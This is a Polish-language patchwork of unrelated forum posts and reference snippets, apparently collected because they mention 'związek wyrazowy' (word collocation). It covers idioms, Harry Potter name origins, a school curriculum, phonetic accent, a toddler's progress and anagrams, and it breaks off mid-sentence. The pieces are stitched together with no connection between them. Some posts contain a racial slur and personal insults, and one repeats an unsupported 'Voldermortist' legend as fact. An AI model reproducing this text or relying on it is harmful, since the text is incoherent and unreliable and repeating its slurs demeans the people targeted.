Niektóre zmiany we frazeologizmach trudno zaszeregować, nie wszystkie więc
zamieściłam w mojej pracy.
Istnieje frazeologizm "podkładać (komuś) świnię", a przez dodanie
przymiotnika "dużą" powstała innowacja rozszerzająca. Innowacją w tym przypadku
będzie nawet zmiana liczby z pojedynczej na mnogą, bo w słowniku frazeologizm
występuje tylko w l. poj. Jeżeli ktoś znajdzie wyrażenie "podkładać (komuś)
świnie" (zamiast świnie) to to już jest innowacja frazeologiczna.
Niektóre innowacje nie są tak czytelne.
Według mnie "Ślepe komendy" to innowacja kontaminująca, czyli
skrzyżowanie: "ślepy los" i "wydawać komendy". Autorka innowacji użyła do
określenia ludzi, więc można powiedzieć, że są to ludzie, którzy ślepo wykonuja
polecenia.
Takie jest moje zdanie, ale nie uwazam sie za wyrocznię.
Jest OK
[[Inną sprawą jest Logo z Lublinem na czarnym tle. To głupota czarny kolor,
przecież są jeszcze kolory tęczy, Lublin powinien zapraszać a nie odstraszać.]]

Kolory tęczy zostawmy Berlinowi, zbyt sugestywne jak na ścianę wschodnią.
Czerń mi podoba się, nie jest żałobna, jest stylowa, pasuje do wielu konstrukcji
i jeszcze "renesans inspiracji" ten związek wyrazowy MUSI znaleźć swoje miejsce
w kampanii, najlepsze hasło ze wszystkich:)

Słoneczko mi sie kategorycznie nie podobało.
a_weasley napisał:

> theodorka napisała:

> > bardzo cenne i popierane na forum, ale przykład Wiktorii Przegranej uważa
> m za n
> > ietrafiony (i na pewno mało czytelny dla gimnazjalistów, którzy nie wiedz
> ą, że
> > Wiktoria to "zwycięstwo" -
>
> Chyba bardzo nisko oceniasz wiedzę językową gimnazjalistów.

Wiedz, drogi Arturze, iż gimnazjaliści (nie mówię o tlenionych blondynkach z tipsami i w różowych bluzeczkach ani o łysych dresiarzach w szerokich spodniach - często są to osoby bardzo inteligentne, z dobrym gustem i dość oczytane (!) jak na swój wiek, a dodatkowo z wysoką średnią) nie znają nawet znaczenia takich prostych słów i związków wyrazowych, jak "nostalgia", "hipoteza", "stereotyp" (!), "konkluzja", "lwia część", itd. (mój autorski wyciąg z rozmów z ludźmi w tym wieku, z którymi od czasu do czasu udaje mi się poprowadzić jakąś dyskusję lub też coś zasłyszeć). Oczywiście, nie potępiajmy ich za to, gdyż dziś nawet studenci nie radzą sobie z rozumieniem słów tylko nieco bardziej skomplikowanych.
Gość portalu: Edziak napisał(a):

Jeszcze jedno- czy nie powinien byc "kamien filozofow" zamiast
> kamienia filozoficznego a moze tylko sie czepiam, albo Straszydla i spolka.

Kamien filozoficzny to nie jednorazowy wymysl na potrzeby pani Rowling i
Harry'ego Pottera, ale trwaly zwiazek wyrazowy, uzywany juz w literaturze
wiele razy. Aby to wiedziec, nie trzeba chyba byc znawca alchemii... :-)
A tobie co?
Nie dość, że zimno, to jeszcze pada.
Nie dość, że noc, to jeszcze nie ma prądu.
Nie dość, że głodno, to jeszcze chłodno.

Taki związek wyrazowy oznacza, że spełnione muszą być jednoczesnie oba warunki
(zimno-ciemno, głodno-chłodno) w taki sposób, że warunek drugi dodany do
warunku pierwszego powoduje zwielokrotnienie opisanej sytuacji.
Mam dość bujna wyobraźnię. Ale żyję w ciekawych czasach i w ciekawym kraju. W
związku z tym moja wyobraźnia nie daje rady. Chociażbym się nie wiem jak
natężała to nie udźwignę i nie zobaczę przed oczami duszy mojej (profetycznie!)
wszystkich niespodzianek, jakie dla mnie szykują ciekawe czasy i ciekawy kraj w
przyszłym tygodniu. Nijak nie dam rady sobie tego wszystkiego wyobrazić!
Pytanie o rok 2012 jest pytaniem z dziedziny SF. Nawet gdyby wszyscy pisarze
parający sie tym rodzajem literatury złapali za pióra i napisali swoją wersję
wydarzeń to i tak prawdopodobnie żaden nie zgadnie.
Odpowiem więc cytując jedno z moich dzieci Hugo* wie?

* hugo to znowu nie jest żadna "brzydka" zbitka wyrazowa tylko imię jakiegoś
trolla z gry komputerowej aka małpy z polsatu.
Malownicze określenie "propaganda homoseksualna" padało z ust G. i jego
pobratymców tylokrotnie, że jego znaczenie powinno się dawno już "wytrzeć".
Problem w tym, że do tej pory nie udało mi się dotrzeć do wyczerpującej, a
wręcz cokolwiek wyjaśniającej definicji tego specyficznego związku wyrazowego.
Jacyś znawcy się znajdą?
&# 916; ZNaKI &# 916;

Znaki

« » obejmuje definicję
obejmuje objaśnienia etymologiczne
- przed końcówką fleksyjną dodaną do wyrazu; w informacjach o wymowie
rozdziela połączenia głosek
~ przed końcówką fleksyjną wraz z cząstką tematu (powszechnie w czasowniku)
Δ przed każdym związkiem terminologicznym i przed każdym związkiem wyrazowym o
charakterze terminologii
◊ przed grupą frazeologii i przed każdym związkiem frazeologicznym
□ przed każdym przysłowiem
* przed związkiem terminologicznym nie łączącym się z żadnym ze znaczeń,
podawanym na końcu hasła
Achan und ochen uber Literatur
Wiadomo, jak kogoś nie ma, to go nie ma, bo albo go nie ma, albo wyjechał. A
jak go nie ma, to nic, lecz jak wyjechał, to gorzej, bo tęsknimy. No i co
robimy jak tęsknimy? No piszemy wiersze, bo nas tęsknota popycha do pisania. No
i właśnie z tej okazji proponuję by napisać wielgachny i długaśny wierchol o
tęsknocie, na zasadzie tworzenia wyrazowych związków, typu kim jesteśmy bez tej
osoby co jej nie ma, dla przykładu, bądź rozpoczęcia:

Bez Ciebie jestem niczym
spółdzielnia bez mieszkań
muchomor bez nóżki
norką bez futerka
walkman bez baterii
Luther bez Kinga
poręcz bez schodów
pirat bez oka
Korki bez zespołu
polip bez nosa
wesele bez rzygania
Sodoma bez Gomory
specjalista bez specjalizacji
ręka bez łokcia
krowa bez mleka
mleko bez tłuszczu
chleb bez skórki
brodzik bez wody
kotlet bez panierki
wieś bez smrodu
Picasso bez kredek
kierownica bez wspomagania
detalista bez hurtownika
plaża bez gazety.
Itd aż do końca świata.
Dziękuję wszystkim za uwagi i komentarze - Grzegorz Śpiewak.

Gdzie znaleźć 7500 najważniejszych słów? A choćby w najnowszym słowniku
Macmillam English Dictionary for Advanced Learners - tam cały zbiór jest
wyróżniony czerwonym kolorem. Podobny system można także znaleźć w słownikach
Longmana, tam jest także podział na najczęstsze słówka w tekstach pisanych i w
mowie. Wesołej lektury!

Ale najważniejsze, co chcę dodać, to że sukces nie polega na mechanicznym
wtłoczeniu go głowy nawet owych 7500 słów - kluczy. Każde z nich nosi w sobie
bowiem swój własny znaczeniowy mikro-świat, pajęczynę znaczeń, związków między-
wyrazowych. Mówiąc bez żargonu akademickiego, każde słówko ma swoich
przyjaciół, rodzinę, a takze wrogów i przyjaciół fałsywych... A zatem nie
wyniki badań korpusowych to nie głupiutka, naiwna recepta. Raczej sposób na to,
by nie uczyć się słówek na oślep, tak jak pewien student (dziś zresztą profesor
jednej z Anglistyk, więc jemu w końcu tez się udało), który uczył się słownika
Stanisławskiego strona po stronie...

Pozdrawiam wszystkich,
G.Śpiewak
> hip: Masz tendencje do posługiwania się skrajnymi przykładami w argumentacji.

miałem wrażenie że dostosuje to do Twojego stylu
bo czyż skrajnym podejściem do sprawy nie wykazuje się osoba która na zadane
pytanie dopisuje szereg często wyimaginowanych zachowań nie koniecznie
dotyczących adwersarza?

> > można mieszkać w "białej dzielnicy" i mówić że "każdy czarnuch" to złodzie
> j
> > choć nigdy "tam" nie bylismy(czarnego widzimy w tv albo z klimatyzowanego
> > auta) i cała nasza wiedza opiera się na stereotypach
> > ale mi to raczej nie pasuje
>
> hip: Poza tym widzę, że lubisz pofilozofować.

to była metafora mająca na celu uświadomienie Tobie iż wszelkie stereotypy
i niechęć wobec całego środowiska jest delikatnie mówiąc nie dojrzała

> hip: Tzw. złote myśli mają to do siebie, że są błyskotliwie sformułowane ale
> wypowiedziane i stosowalne najczęściej w pewnym określonym kontekście.
Dlatego
> nie należy ich uznawać za uniwersalne.

szczerze powiedzawszy nie wiem czy moge Ci przyznać rację bo czyż stwierdzenie
o bezużyteczności a wręcz destruktywnym działaniu krytyki nie jest uniwersalne?

krytyka praktycznie zawsze będzie pewną formą wyładowania emocji, negatywnych
emocji czyli możemy stwierdzić że jest to agresja...a jak wiadomo agresja
budzi agresję

> od razu wydało, że nie byłeś. Dyscyplina wojskowa (taka jaką znam) nie ma
nic
> wspólnego z porządkiem i zdrowym rozsądkiem,

nie mówię o obecnej sytuacji w wojsku, chyba spotkałeś się ze związkiem
wyrazowym dyscypliny wosjskowej i to miałem na myśli

pozdrawiam
fragment
Treści nauczania w klasach IV-VI

Treści nauczania powinny być podporządkowane funkcji wspierającej wypowiadanie
się, bez konieczności posługiwania się definicjami.

1. Pojęcia nadawcy i odbiorcy, sposoby rozpoznawania intencji wypowiedzi (np.
pytam, odpowiadam, informuję, proszę).

2. Właściwości opowiadania, opisu, dialogu oraz prostych form użytkowych.

3. Wypowiedzenia oznajmujące, pytające i rozkazujące, w tym zdania i
równoważniki zdań.

4. Związki wyrazów w zdaniu, w tym rola podmiotu i orzeczenia.

5. Odmienne i nieodmienne części mowy oraz podstawowe kategorie fleksyjne.

6. Związki znaczeniowe między wyrazami.

7. Budowa słowotwórcza wyrazów.

8. Rodzaje głosek.

9. Akcent wyrazowy, intonacja.

10. Pojęcia: fikcja literacka, świat przedstawiony, nadawca, odbiorca, podmiot
mówiący, narracja, przenośnia, rytm.

11. Różnice między językiem potocznym a językiem literatury oraz językiem
regionu.

12. Terminy: bohater, wątek, akcja, autor, narrator, epitet, porównanie, wyraz
dźwiękonaśladowczy, rym, zwrotka, refren, baśń, opowiadanie, powieść, proza,
poezja.

13. Terminy związane z przekazami ikonicznymi, radiem, telewizją, filmem,
teatrem, prasą.

Osiągnięcia

1. Mówienie:

1) do rzeczywistych i wyobrażonych słuchaczy, z przejrzystością intencji, z
uwzględnianiem różnorodnych sytuacji, ról i kontaktów międzyludzkich
(oficjalnych i nieoficjalnych),

2) na temat otaczającej rzeczywistości, własnych zainteresowań, literatury,
innych (niewerbalnych i mieszanych) tekstów kultury,

3) na temat zaobserwowanych zjawisk językowych (przy użyciu elementarnej
terminologii językoznawczej wprowadzanej zależnie od możliwości uczniów),

4) z precyzją znaczeniową, ze świadomością emocjonalnego nacechowania
wypowiedzi oraz próbami ich oceny (zwłaszcza etycznej),

5) płynne, z poprawną i wyraźną artykulacją oraz dykcją, akcentowaniem,
intonacją, pauzowaniem i tempem (w tym wygłaszanie tekstów z pamięci).

2. Słuchanie:

1) uważne i ze zrozumieniem,

2) rozmaitych wypowiedzi, w różnych celach i sytuacjach,

3) z rozróżnianiem mowy i tła akustycznego w przekazach audiowizualnych.

3. Czytanie:

1) głośne i wyraziste, z uwzględnieniem zasad kultury żywego słowa,

2) ciche ze zrozumieniem,

3) różnych rodzajów tekstów z uwzględnianiem celu (takiego jak: informacja,
przeżycie, perswazja itp.).
Mam 17 lat i zrobiłam test na 92%
Nie wydaje mi się żeby był specjalnie trudny... zwłaszcza zadania logiczne są bardzo banalne. Straciłam pnkty na zadaniach ze związkami wyrazowymi ale z tym zawsze miałam prblemy...
idiom, idiomat(yzm) związek wyrazowy właściwy tylko danemu językowi,
nieprzetłumaczalny dosłownie na inny język.
Przejęzyczenie to błąd popełniany przez nieuwagę, polegający na przekręceniu
wyrazu albo na niewłaściwym użyciu wyrazu lub związku wyrazowego.
Słownik języka polskiego.

Podpada czy nie?
Nie czuję się aktualnie artystką, ale zaryzykuję: "Te, aria barw ci nie gra,
przemaluj to", gdyby chodziło o ułożenie zdania z tymże związkiem wyrazowym.
.. no glupszy niz ustawa przewiduje .. przecież pisałem na starcie, że doskonale wiem, o co chodzi .. mixer: nowy związek wyrazowy "gra słowna" .. sprawdź, przepisz i zapamietaj .. masz czas do końca roku .. o ile nie przekracza to twoich możliwości .
kultura wyznaniowo-społeczna ?? a cóż to ?? jak już obracamy się w sferze słów
i związków wyrazowych, których używasz bez zrozumienia: masz na myśli etos
koncyliacyjnie akceptowany przez elity ?
heymdall napisał:

> kultura wyznaniowo-społeczna ?? a cóż to ?? jak już obracamy się
w sferze słów
> i związków wyrazowych, których używasz bez zrozumienia: masz na
myśli etos
> koncyliacyjnie akceptowany przez elity ?
>
bodziec do działania, wiadomość z pierwszej ręki
Zastanawiam się jak to powiedzieć po angielsku.Szukam też dobrego słownika polsko-ang.online z kolokacjami, związkami wyrazowymi...
Sformułowanie 'iść piechotą (na piechotę, pieszo)' nie wydaje mi się niepoprawne. Jest to taki
związek wyrazowy, którego nie można rozdzielić, bo trudno byłoby sformułować wypowiedź, pomijając
czasownik 'iść?
morgen_stern zwiazek wyrazowy ktorego uzylas "cokolwiek pustawa" zupelnie sie
wyklucza...na forum panuje dowolnosc tematow droga morgen_stern i każdy pisze o
czym ma ochote...kim jesteś że mnie osądzasz?
factory2 napisała:

> Nie argument, tylko stwierdzenie faktu...
> Może czegoś się nauczysz. Zatem:
> - "opinie zbiorowe" - co to znaczy, co masz na myśli?

Opinia zbiorowa to związek wyrazowy oznaczajacy w języku polskim
powszechny osąd danej sprawy, opinię większości. Zgodnie z opisanymi
w literaturze mechanizmami opinie zbiorowe kształtuje szereg różnych
czynników, ale podstawową determinantą jest to, ze zbiorowość jest
niedoinformowana i skłonna do konformizmu. Do tego dochodza czynniki
emocjonalne.

>czy też empiryczne (bo oparte na spełniającej wymogi naukowości
metodzie) uogólnienie (a istnienie owych praw w naukach
społecznych


A nie w zbiorowych opiniach, ot co...zbiorowośc nie dokonuje
empirycznych osądów, zbiorowośc ulega histeriom, charyzmatykom i
emocjom, jak równiez nakazom i temu co uważa za słuszne w danym
momencie.

Jełsi ludzie powszechnie sądzą że aborcja jest złem, to nie dlatego,
ze dokonali empirycznego uogólnienia, tylko dlatego, ze to poglad
większości, albo poglad klechów, albo teza lansowana przez papieża.

>(...) pozwala nam to na konstatację, iż "większość ludzi w takiej a
takiej sytuacji zachowuje się tak i tak"

Tak, tyle, ze osąd zbiorowy dotyczacy tego co zrobiłaby większość
nie jest oparty na przesłankach empitycznych. Do logicznej
konstrukcji i wniosku moze dojść zespół badawczy. Większość wnioskow
empirycznych wynikajacych z badań jest sprzeczna z opiniami
zbiorowości. Nie wiem czemu nie jestes w stanie tego zrozumieć.

> Zrozumiałaś, że mylisz pojecia i wypowiadasz się w sposób wielce
>nieścisły na tematy, o których nie masz pojęcia?

Opinia zbiorowa to konkretne pojęcie, mechanizm jej powstawania jest
zanany i opisany i nie ma nic wspólnego z logicznym rozumowaniem. Ot
i wsio. Rozumiesz juz?
Snape ma nawet wyspę swojego imienia:

pl.wikipedia.org/wiki/Wyspy_Belcher
oraz wioskę:

www.snapemaltings.co.uk/
ale szukając informacji o haśle "Snape" natknęłam się na coś jeszcze:
"Hampton Court Palace – w pałacu zaprojektowanym przez Wrena podziwiać można
wyjątkowe wnętrza w stylu Tudorów, labirynt z wysokiego żywopłotu oraz rozległe
ogrody i błonia."
czy nie przypomina Wam to jakiegoś innego zamku?? a ten labirynt... czy gdzieś
nie słyszeliście o podobnym??;D

i jeszcze coś o LV:
"Lord Voldemort – w średniowiecznych opowiadaniach istniał mężczyzna, który był
czarnoksiężnikiem i nazywał się Voldermortist. W innym języku Voldermortist
znaczy „Pan Zła” albo „Czarny Pan”. Według legendy Voldermortist próbował
zniszczyć Merlina poprzez wykorzystywanie złych ludzi oraz zaczarowywanie
dobrych bądź ich przekupywanie przed pojawieniem się króla Artura. Według
legendy Merlin ostatecznie zgładził Voldermortista poprzez użycie prostego
zaklęcia paraliżującego i nakarmił nim wielogłowego psa (czyżby Puszek?). Miało
to miejsce na 12 – 13 lat przed pojawieniem się Króla Artura (czyli mniej
więcej tyle, ile czasu upłynęło od upadku Voldemorta do pojawienia się
Harry`ego w Hogwarcie). Ponadto, po francusku Voldemort znaczy złodziej
śmierci. Warta uwagi jest zbitka wyrazowa. Samo vol znaczy ucieczka, de - z,
od, a mort śmierć. Po złączeniu tego w całość wychodzi vol-de-mort – „ucieczka
od śmierci”" jak dla mnie ma to tez pewnien związek ze śmierciożercami
(zjadaczami śmierci)

wciągnęła mnie ta zabawa, więc będe szukała dalej takich hmmm... powiązań
świata magicznego i mugolskiego:) wiem, że JKR musiała skądś czerpać pomysły,
ale niezmierną radzoś sprawia mi odkrywanie, tego co ją inspirowało;-)
tylko 25 pkt mam
Łatwiutkie te pytania na znajomość wyrazów ,związków wyrazowych itp

Ominęłam zadanie z akcentowaniem,nazwiskami, to rzeczy co do których
nie znam zasad
i bym musiała strzelać

Kiedy będzie rozwiązanie tego testu?
Łódź: najdłuższa nazwa parku - Wiola do szkoly
jak mozna pisac " Imienia Generała Badena-Powella Lorda of Giwella." ?
lord of Giwell - jest wyrazowym zwiazkiem rządu i jego druga czesc nie odmienia
sie. a Wiola dwa razy sieje babola we wlasnym artykule. wstyd panienko.
Wtedy także stosuje się jakiś logiczny związek wyrazowy musi jednak być:

- jedna z pierwszych pisarek vs jedna z pierwszych pisarzy?

Aż to wrzucę na Forum Ortografia, bo nie mogę...
Kobieta pisze o hymnie niemieckim, a ty, łubudu, o nazizmie, Hitlerjugend,
rasie aryjskiej - nie uważasz, że to trochę dziwne? Jak czytasz "hymn
brytyjski", to od razu walisz o głodzie w Irlandii w XIX wieku i o
bombardowaniu Drezna w 1945, widzisz kulisów i indyjskich sipajów, dzieci w
Sudanie z wydętymi brzuszkami i trupy w obozach Afryki Południowej? To można
leczyć, nie martw się.

>No i Hitler nie jest moim idolem

Jeżeli słysząc niemiecki hymn twoje pierwsze skojarzenia biegną w stronę
nazizmu, to albo Hitler jest twoim idolem (myślisz o nim stale), albo to jest
nerwica natręctw (to się leczy).

>Nie zauwazylem tez bym slinil sie na slowo "niemiecki"

Jeżeli na związek wyrazowy "hymn NIEMIECKI" reagujesz ciągiem "nazizm,
hitlerowcy, gestapo" - to ślinisz się, biedactwo. Tylko cię spuścić z łańcucha
i pokąsasz łydki turystom znad Renu.

To Hitler pochodzil z Branau am Inn? No widzisz, dzieki tobie dowiedzialem sie
> skad pochodzil Hilter, nigdy mnie to nie interesowalo ale widze ze niezle
jeste
> s
> zorientowany.

Zaskoczę cię - Braunau leży w Austrii. Tego też nie wiedziałeś. Nie wiedziałeś,
że Hitler spędził pierwsze 25 lat życia w Austrii, że był Austriakiem, miał
obywatelstwo austro-węgierskie. Jeszcze bardziej cię zaszokuję - Józef Stalin
urodził się w Gori, w Gruzji. W dodatku naprawdę nazywał się Dżugaszwili. Tego
też nie wiesz. Nie wiesz, że był Gruzinem. W ogóle niczego nie wiesz.
Oczywiście poza tym, że 'niemiecki' = 'hitlerowski'. Wyrazy współczucia dla
nauczyciela historii (mam nadzieję, że nie zdajesz jej w przyszłym roku na
maturze).
dzwoni osoba - to związek wyrazowy
dzwoni - czasownik w f. osobowej, czas teraz., l., poj., r., -,
osoba - rzeczownik w M, l., poj., rodz., żen.,
Określamy formy wyrazów- nie związków!
czasownik w czasie teraźniejszym nie odmienia się przez rodzaje!!!!nigdy!
Agata ma rację - określamy formy gramatyczne części mowy, a nie związków
wyrazowych. Pozdrawiam :)))
pytanie do polonistek
Mam zadanie z polskiego i nie wiem jak je rozwiązać:) Może pomożecie?

Zastąp podane wyrażenia synonimicznymi związkami wyrazowymi

a.pojedynek z losem

b.poskromienie przypadku
trypel napisał:

> zmuszać dobrowolnie :)

A to bardzo ciekawy związek wyrazowy;P
Tylko co on oznacza bo jeden wyraz pozostaje w stosunku sprzecznym z tym
drugim;PPP???
Witam wszystkie Mamy Moja Weronika 5-go marca skonczy 16 miesiecy. Ma ok.90 cm wzrostu i ok 10 kg wagi. Dosc duzo mowi - wiele pojedynczych slow, sporo slow dzwiekonasladowczych, zaczyna tez budowac pierwsze 2,3 wyrazowe zdania. Dopiero miesiac temu wyrosl jej pierwszy zabek, teraz ma juz dwa i cztery nastepne w drodze. Tez nawal zabkowaniowy znosi calkiem dobrze, poza kilkoma pojedynczymi przeplakanymi wieczorami i lekkim rozdraznieniem - wszystko ok. Jest dzieckiem bardzo pogodnym, rozumie nawet bardzo skomplikowane zdania (np. zanies brudne ubrania do lazienki - biegnie z rzeczami prosto do kosza na pranie.) Potrafi pokazac ile ma lat i powiedziec "jeden" Sama rozbiera sie z latwiejszych czesci ubrania - bluzeczek, rozpinanych bluz, spodenek, skarpetek, a ostatnio zaczela probowac zakladac skarpetki i butki. Wczoraj zakupilismy jej nakladke na sedes i chociaz blyskawicznie pojela, o co w tym wszystkim chodzi i zaingurowala dzialalnosc lazienkowa wysiusianiem sie, nie sadze, zebysmy szybko mogli zrezygnowac z pieluch. Co prada pieknie potrafi przyjsc i powiedziec, zeby ja przewinac, bo zrobila kupe, albo siku, ale raczej nie informuje o tym przed faktem ) Jezeli chodzi o jedzenie - je wszystko to co dorosli, poza rzeczami ciezkostrawnymi - tych jej po prostu nie dajemy. Wlasciwie wszystko oprocz rzadkich zupek zjada sama, bez pomocy. Zasypia sama, bez protestow, spi cala noc - od ok. 19 do 8 rano, potem drzemka w poludnie - ok 1/5 godziny. Uwielbia spacery na wlasnych nozkach (ostatnio nie chciala wsiasc do wozka i maszerowala sama ok 1/5 km!). Jedyny powarzniejszy problem jaki mamy, to jej nieoczekiwane napady zlosci zwiazane z niemoznoscia zrobienia czegos w tej chwili, kiedy ona tego oczekuje. Ale to minie z wiekiem, jak sadze, w zwiazku z tym - nie martwie sie zbytnio Aaa... i jeszcze slynne, poruszane w innym watku jeczenie )))) Ale z tego juz powolutku wychodzi. Odkad zauwazyla, ze wiecej osiagnie proszac o cos - zaczela raczej mowic, niz jeczec Uwielbia sie z nami bawic - czytamy bajeczki, ukladamy klocki, albo po prostu dlugimi godzinami kiziamy sie po kanapie Potrafi tez sama zajac sie soba przez dluzszy czas. Wogole, fajna z niej dziewczyna )))
Akcent (łac. accentus = nacisk)
- prozodyjny (prozodia) sposób uwydatniania pewnej sylaby na tle innych sylab
wyrazu lub zestroju akcentowego. Uwydatnienie to polega na wzmocnieniu siły
wypowiedzenia tej sylaby (a. dynamiczny, a. ekspiracyjny, przycisk),
podniesieniu wysokości jej tonu (a. foniczny, a. chromatyczny, a. muzykalny, a.
melodyczny) lub przedłużeniu czasu jej trwania (iloczas). W języku polskim a.
toniczny oraz iloczas pojawiają się sporadycznie, zwykle w funkcji
ekspresywnej. Charakter ustabilizowany ma natomiast a. dynamiczny. Jest on a.
stałym, tzn. w odróżnieniu od a. ruchomego pada na tę sylabę, która znajduje
się w stałej odległości od końca wyrazu, niezależnie od tego, w jakiej formie
gramatycznej wyraz ów występuje. A. stały nie może więc sygnalizować zmian
znaczeniowych, zaznaczać je może natomiast a. ruchomy występujący np. w języku
rosyjskim i angielskim. Jeśli stałe miejsce a. uzależnione jest (jak w
polszczyźnie) od granic wyrazu, a. taki nazywa się a. wyrazowym. Zależnie od
miejsca, jakie zajmuje w wyrazie sylaba akcentowana, rozróżnia się a. inicjalny
lub nagłosowy (nagłos) padający na sylabę pierwszą, a. wygłosowy (wygłos) lub
oksytoniczny padający na sylabę ostatnią (oksyton), a. paroksytoniczny padający
na sylabę przedostatnią (paroksyton, penultima), a. proparoksytoniczny lub
daktyliczny padający na sylabę trzecią od końca (proparoksyton). W polszczyźnie
regułą jest a. paroksytoniczny, a oksytoniczny występuje siłą rzeczy w wyrazach
jednosylabowych, a. proparoksytoniczny najczęściej w wyrazach pochodzenia
obcego, np. "poétyka", "matemátyka". Funkcja a. w języku polskim polega przede
wszystkim na członowaniu mowy, rozgraniczaniu poszczególnych segmentów
sylabicznych (zestrojów akcentowych) oraz na ich wewnętrznym zespalaniu. O
akcentowej spoistości zestroju akcentowego decyduje prozodyjna zależność sylab
nieakcentowanych od sylaby akcentowanej, na którą pada a. główny. W dłuższych
niż trzysylabowe zestrojach akcentowych a. główny uzupełniony zostaje
podrzędnym wobec niego a. pobocznym, padającym na pierwszą sylabę zestroju,
jeśli nie poprzedza jej sylaba akcentowana. A. główny jest więc w polszczyźnie
wyrazowy i paroksytoniczny, poboczny zaś zestrojowy i inicjalny. Poszczególne
wyrazy w zdaniu mogą być akcentowane z niejednakową siłą, a. wyróżniający
pewien wyraz w zdaniu spośród innych nosi nazwę a. zdaniowego. Zależnie od
motywacji semantycznych a. zdaniowy występuje bądź jako a. logiczny, bądź jako
a. emocjonalny, inaczej emfatyczny. W tekście przeznaczonym do śpiewu poza a.
językowym występuje również a. meliczny, polegający na uwydatnieniu jednego z
dźwięków melodii. A. językowe i a. meliczne mogą być zharmonizowane i nakładać
się na siebie, mogą też się rozmijać i wtedy a. meliczny góruje nad językowym
((-) transakcentacja meliczna). W wierszu a. językowy poddany stałym prawidłom
powtarzalności określonej przez (-) wzorzec metryczny staje się a. metrycznym
(iktus), który po pewnej stabilizacji w utworze może odbiegać od językowych
obyczajów akcentowania ((-) transakcentacja metryczna). Rozbieżność między
iktem a a. wyrazowym była regułą w niektórych rodzajach antycznego wiersza
greckiego i łacińskiego (metryka antyczna). A. metryczny występujący w klauzuli
wersu nosi nazwę a. klauzulowego, w średniówce nazwę a. średniówkowego.
Por. aton, intonacja.[Z forum polonistycznego}
Jak widzisz, Twoje pytanie nie jest jednoznaczne. Pytanie o cockney i
austriacki nie ma zwiazku z poprzednim pytaniem.Cockney - to gwara londyńska
lub londyńczyk mówiacy ta gwarą, charakterystyczną dla ludzi niewykształconych.
Austtiackie gadanie jest synonimem plecenia bzdur, ale w Austrii mówi sie po
niemiecku. Nie ma języka "austrackiego".
alexxx napisała:

>No to chyba racja, co do tonu owej książki, byla po mojej stronie.Mam rację?

Wydaje mi się, że nie. Ale ja nie znam dokładnie Twoich myśli, a Ty wcale nie
znasz książki...

>Ale o czym Ty mówisz? Czy będąć np. żółtym psychicznie czujesz się, bo ja wiem
>czerwony?

Mówię o tym, że ludzie tacy jak opisywani w tej książce mają wybór (choć
niekoniecznie mają możliwość z niego skorzystać). Mogą być biali, mogą być
czarni. Może nie ma ich wiele, ale stanowią problem dla czarno-biało-żółtego
widzenia świata.

> I zaręczam Ci, że biały zawsze czuje się białym, czarny czarnym itd.

A jak się wg Ciebie czuje 3/4 biały 1/4 czarny?

>Wybacz, ale nie widzę tu kompletnie żadnego związku. Co ma stereotyp dotyczący
>blondynki do kwestii nazewnictwa mulata czy metysa? Gdzie widzisz związek?

Bo kolor włosów - jak kolor skóry - w zasadzie się otrzymuje na całe życie.
Wprawdzie kobiety go zafałszowują... Ale ale, czy uważasz także słowa 'mulat'
i 'metys' za negatywnie nacechowane?

> Ja tu czegoś nie rozumiem. Najpierw piszesz, że "mechanizm niechęci jest
> psychologicznie zrozumiały", a potem ,że jest to jedno z niewielu
> nieobraźliwych słów. To jak właściwie jest??? Zdecyduj się.

Jest psychologicznie zrozumiałe, że czarni nie lubią słowa 'murzyn'. Tak jak
ślepi nie lubią słowa 'ślepy'. Powiedzmy, że słowo 'ślepy' jest pejoratywne -
bo wchodzi w wiele związków wyrazowych o negatywnym zabarwieniu. Dlatego ślepi
nazwali się 'niewidomi'. Teraz jednak dochodzą do wniosku, że 'niewidomy' jest
też obraźliwe, i nazywają się niewidzącymi. To może być ucieczka donikąd, bo
jeśli stereotyp powędruje za określeniem, to cała operacja na nic.

Słowo 'murzyn' jednak - dla nie-czarnych, czy ich znacznej części - obraźliwe
nie jest. Jeśli ktoś chce dopiec czarnemu, to ma do dyspozycji wiele gorszych
słów. Przynajmniej się nie spotkałem z użyciem słowa 'murzyn' - samego - w celu
obrażenia kogokolwiek. Dlatego sądzę, nawet jeśli uważasz murzyna za określenie
pejoratywne, to jest to zaledwie blady cień pejoratywności prawdziwych słów
obraźliwych. I stąd moja propozycja, żeby słowo oswoić, a nie odrzucić. Może
słyszałaś ostatnio historię o polskim raperze z Chicago. Polonusi napadli na
niego, że jakaś jego "pieśń" naszpikowana jest obraźliwym słowem "polak". A on
na to, że chce przywrócić temu słowu godność. Uważam, że o wiele łatwiej jest
utrzymać (przywrócić)emocjonalną obojętność słowa "murzyn", niż je tępić.

Inna sprawa, że określenie "czarny" jest jednak lepsze niż "murzyn". Bo jak nie
ma rzeczownika na ludzi białych ani na żółtych, to dla symetrii nie powinno się
też używać rzeczownika dla czarnych. Zresztą wszystko w to w cudzysłowie, bo
biali są różowi albo śniadzi, czarni przeważnie brązowi, a do żółci żółtych też
można miec zastrzeżenia. Tylko jak wtedy określić przymiotnikiem typy mieszane?

> Jeśli mam się ustosunkowac to zadam Ci takie pytanie: czy nazwałbyś w Polsce
> swojego syna imieniem Alfons?

No, to celne spostrzeżenie. To już wolę być Jackiem-bałwanem niż Alfonsem :)

> Tak samo sprawa ma sie z "murzynem".

A ja dalej swoje! Mogę wprawdzie przyznać, że kieruję się jedynie odczuciami
swoimi i rodziny, ale jednak 'murzyn' nic obraźliwego mi na myśl nie przywodzi.

> A czym objawia się ta głupota? Czy przypadkiem nie słowami???

Ba, ale jakimi!

Pozdrawiam
Jazzek
Rekordowy anagram, jaki anagram, jaki rekord ?
pytam, ale jaki to ma być anagram, anagram anagramowi nierówny, jaki wariant,
jest tego od metra.

Widok podał swój przykład jednowyrazowy 45 literowy.
reptar zastanawia sie w ilu ruchach można to zaanagramować aby powstał znowu
anagram jednowyrazowy.
Czy dopuszczacie tu dyskusję tylko dla haseł jednowyrazowych stanowiących wyraz
wyjściowy. Jeśli tak, to moje wypociny dalsze nie są tu potrzebne. Nie bardzo
rozumiem nawet po co komu taki rekord, jak najmniej przeksztaceń aby otrzymać
drugi sensowny wyraz.

A co powiecie o innych anagramach.
Przecież anagramy wcale nie muszą powstawać z wyrazów jednowyrazowych i
otrzymujemy tylko anagramy dzielone lub nie.

Anagramy to także jak wynika z definicji, anagramowanie wyrażeń, zwrotów, zdań
na inne wyrażenia, zwroty i zdania, (kogel mogel)

np. polianagramy:

Anagram składany - <gr. poli- = wielo + anagram> - wyraz, zwrot, zdanie
powstałe przez anagramowanie liter kilku wyrazów wyjściowych. Tworzywo m.in.
